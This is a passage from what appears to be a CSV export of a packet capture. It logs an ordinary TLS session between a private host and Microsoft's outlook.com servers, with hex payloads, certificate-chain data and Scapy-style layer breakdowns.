06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632363037313835305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303632363037303330305aa011180f32303236303730333036303330305a300d06092a864886f70d01010b05000382010100703064bffb16fa1abfdcb2ee4509a87862fb1383dcf4539ed992d5b4365c08012c78e7eed365136b757ab4518e88fc1cd7f666c8c6069eb96eddcd1e0dec1c0c1e5705344748f952ed14ae65bb977daebb2a6a1ab004e966ab21cf7030af83e7408b76ab6956dbf8f56a0a2d4730aea2708ef537751bac9ce9c4c6d5a3e023e762b99fc530fa94957d31c26c2fed0e776e2d30641584f85e1103efbec0d23cbeedc0f1ff3f44dd709e5d071b5d9fbd80be97ef6ee204e113e0675193daa9d50d4e8568542b8065ed132941ff753c09f771b351a00be176c104f84f18ea7489a5aac063f4191d1ddbcc6d293c7aaa6a258a22f771ae3a8d3ab3bd368add81253a0c00016903001861048799b9fb6ca3e503a894e644f49d35f4b2b7c1e497795e0081b6626382e0b81bbc4b696ccbbd1c12,\".$.6\n..$.)....E....,@.@...(c.\"\"\n.......3.R.....P..?............f..jA)G..I...\n.o..Z.{..Nq..DOWNGRD. .H...k.)7.mu(w..HY^VN.L_..\\....B.0........#.........h2...............\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r....z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260626071850Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260626070300Z....20260703060300Z0\n.\t*.H..\n..........p0d.........E\t.xb.....S.....6\\..,x...e.kuz.Q......f.....n...\n....W.4GH.R...e..}..*j....f.!.p0...@.v.iV...j\n-G0..p..7u.........#.b...0...}1.l/..wn-0d...^......<.....?D.p.]..]......n.....gQ....\nN.hT+.e..)A.u<\t.q.Q...v...O..t....c......m)<z.j%.\"\".q.:.:..6...%:...i...a.....l......D..5......y^...bc.....Kil....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 50988, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 52394, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869421593, \"\"ack\"\": 2933371357, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 42771, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"160303110b0200006603036a4129471bce49dc109e0aae6ffcc15aba7bb5b54e711dee444f574e475244012086480000996bda2937d86d752877968c48595e564eb94c5fb2b65caaeca3b642c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632363037313835305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303632363037303330305aa011180f32303236303730333036303330305a300d06092a864886f70d01010b05000382010100703064bffb16fa1abfdcb2ee4509a87862fb1383dcf4539ed992d5b4365c08012c78e7eed365136b757ab4518e88fc1cd7f666c8c6069eb96eddcd1e0dec1c0c1e5705344748f952ed14ae65bb977daebb2a6a1ab004e966ab21cf7030af83e7408b76ab6956dbf8f56a0a2d4730aea2708ef537751bac9ce9c4c6d5a3e023e762b99fc530fa94957d31c26c2fed0e776e2d30641584f85e1103efbec0d23cbeedc0f1ff3f44dd709e5d071b5d9fbd80be97ef6ee204e113e0675193daa9d50d4e8568542b8065ed132941ff753c09f771b351a00be176c104f84f18ea7489a5aac063f4191d1ddbcc6d293c7aaa6a258a22f771ae3a8d3ab3bd368add81253a0c00016903001861048799b9fb6ca3e503a894e644f49d35f4b2b7c1e497795e0081b6626382e0b81bbc4b696ccbbd1c12\"\"}}]\"\n2026-06-28 14:01:44.243256,30,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371357 Ack=869425641,bc24112907bbbc2411360d0c080045000028139f4000800650080a98980b2863cc22f9dc01bbaed7b1dd33d261e95010040022a30000,\".$.)...$.6\n...E..(..@...P.\n...(c.\"\"........3.a.P...\"\"...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5023, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20488, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371357, \"\"ack\"\": 869425641, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 8867, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:44.243307,31,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=869425641 Ack=2933371357,bc2411360d0cbc24112907bb080045000168c72f40004006db372863cc220a98980b01bbf9dc33d261e9aed7b1dd5018003f988300001cb1378461e08fa8cea57ef35bc97e559d1965a1ec0c8f951bfdaad1929471d0641db5e7bfb0f1ff506b64f9e0665455da9c520f5e8d20840804010042a61ef4fb553cad0ee81f1fc48c9a96eb32e77b5791646f6a3354429e01f75c0606011d4c3049a8e6b3eceb4c21bc7b47af0a21bff3213e2340da3b2f47d8f2f18d54f312558cfb850cf47c60b9ca5c614f1737c03188bd44a006de660f652c578c5dd253aa290a31b4318af3f1a0ba94e22aca386197af87791dbd5c3a92aad58f81acf16db8d4faf33a1641b856f5019f9c1b2276d2ab01a41fd32527af220222df4b51cb21f48567da3c67ca7d219399da82d449beda9210b0fab397d6d686df6ddfe7fac2e18af5410f994dcc9e96ca89d74be3bbc77ccda2cb5bd6e4d9e2c587642aa91ad3e48b7a07db54e43544480f1e36b01e95dc1c8a3c0724033f0e000000,\"..7.a.....~.[.~U..e...........q.d.......Pkd..fTU..R.^. .....B....U<..........2.{W.doj3TB...\\....L0I.....L!.{G.\n!..!>#@.;/G....T..U.....|`..\\aO.7.1..D...f.e,W.].S.)\n1.1.......*.8a...y..\\:.......m....:.A.V.....\"\"v......%'.\"\".\"\".KQ.!..g.<g.}!.....I............m.......A..M......K...|...[......d*.....z..T.5DH..6......<.$.?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 360, \"\"id\"\": 50991, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56119, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869425641, \"\"ack\"\": 2933371357, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39043, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"1cb1378461e08fa8cea57ef35bc97e559d1965a1ec0c8f951bfdaad1929471d0641db5e7bfb0f1ff506b64f9e0665455da9c520f5e8d20840804010042a61ef4fb553cad0ee81f1fc48c9a96eb32e77b5791646f6a3354429e01f75c0606011d4c3049a8e6b3eceb4c21bc7b47af0a21bff3213e2340da3b2f47d8f2f18d54f312558cfb850cf47c60b9ca5c614f1737c03188bd44a006de660f652c578c5dd253aa290a31b4318af3f1a0ba94e22aca386197af87791dbd5c3a92aad58f81acf16db8d4faf33a1641b856f5019f9c1b2276d2ab01a41fd32527af220222df4b51cb21f48567da3c67ca7d219399da82d449beda9210b0fab397d6d686df6ddfe7fac2e18af5410f994dcc9e96ca89d74be3bbc77ccda2cb5bd6e4d9e2c587642aa91ad3e48b7a07db54e43544480f1e36b01e95dc1c8a3c0724033f0e000000\"\"}}]\"\n2026-06-28 14:01:44.243420,32,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371357 Ack=869425961,bc24112907bbbc2411360d0c08004500002813a04000800650070a98980b2863cc22f9dc01bbaed7b1dd33d26329501003fe21650000,\".$.)...$.6\n...E..(..@...P.\n...(c.\"\"........3.c)P...!e..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5024, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20487, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371357, \"\"ack\"\": 869425961, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 8549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:44.527130,33,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2933371357 Ack=869425961,bc24112907bbbc2411360d0c0800450000c613a1400080064f680a98980b2863cc22f9dc01bbaed7b1dd33d26329501803fe31c300001603030066100000626104af2d68cdb0c2906f315622867c616ff8ac58a3eb4044a879512d01ef00a7ef2a8d0c35830735da6c8f29111eb14b8cce2c4659b12dede53739756ead89beca38e40e8f66ff43d59e4f662c2e1ab38b2e6b339897d82f95b6438e440a1ac0446f14030300010116030300280000000000000000116f735e6faad4d4eb522252c679ffc5d223840a5adee80c9f6bc3d436d3cbdf,\"a..-h....o1V\"\".|ao..X..@D.yQ-.....*..5..5.l.)...K..,FY.-..79un....8...f.C..Of,.....k3.../..C.D\n..Do\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 5025, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20328, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371357, \"\"ack\"\": 869425961, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 12739, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04\\\\xaf-h\\\\xcd\\\\xb0\\\\xc2\\\\x90o1V\\\"\"\\\\x86|ao\\\\xf8\\\\xacX\\\\xa3\\\\xeb@D\\\\xa8yQ-\\\\x01\\\\xef\\\\x00\\\\xa7\\\\xef*\\\\x8d\\\\x0c5\\\\x83\\\\x075\\\\xdal\\\\x8f)\\\\x11\\\\x1e\\\\xb1K\\\\x8c\\\\xce,FY\\\\xb1-\\\\xed\\\\xe579un\\\\xad\\\\x89\\\\xbe\\\\xca8\\\\xe4\\\\x0e\\\\x8ff\\\\xffC\\\\xd5\\\\x9eOf,.\\\\x1a\\\\xb3\\\\x8b.k3\\\\x98\\\\x97\\\\xd8/\\\\x95\\\\xb6C\\\\x8eD\\\\n\\\\x1a\\\\xc0Do' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  